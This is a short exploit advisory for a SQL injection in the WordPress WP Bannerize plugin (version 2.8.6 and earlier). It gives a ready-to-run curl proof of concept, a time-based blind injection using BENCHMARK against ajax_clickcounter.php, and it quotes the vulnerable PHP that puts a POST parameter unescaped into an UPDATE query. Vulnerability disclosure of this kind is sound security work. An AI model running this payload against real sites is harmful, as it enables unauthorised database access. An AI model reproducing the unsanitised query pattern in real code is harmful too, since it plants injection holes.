WordPress WP Bannerize plugin <= 2.8.6 SQL Injection Vulnerability

# Exploit Title: WordPress WP Bannerize plugin <= 2.8.6 SQL Injection Vulnerabil
ity
# Date: 2011-08-31
# Author: Miroslav Stampar (miroslav.stampar(at)gmail.com @stamparm)
# Software Link: http://downloads.wordpress.org/plugin/wp-bannerize.zip
# Version: 2.8.6 (tested)

---
PoC
---
curl --data "id=-1 AND 1=IF(2>1,BENCHMARK(5000000,MD5(CHAR(115,113,108,109,97,11
2))),0)-- " -H "X-Requested-With:XMLHttpRequest" http://www.site.com/wp-content/
plugins/wp-bannerize/ajax_clickcounter.php

---------------
Vulnerable code
---------------
if ( @isset($_SERVER['HTTP_X_REQUESTED_WITH']) ) {
    ...
    $sql = "UPDATE `" . $wpdb->prefix ."bannerize_b` SET `clickcount` = `clickco
unt`+1 WHERE id = " . $_POST['id'];
    $result = mysql_query($sql);

p.s. author has been contacted (will fix it)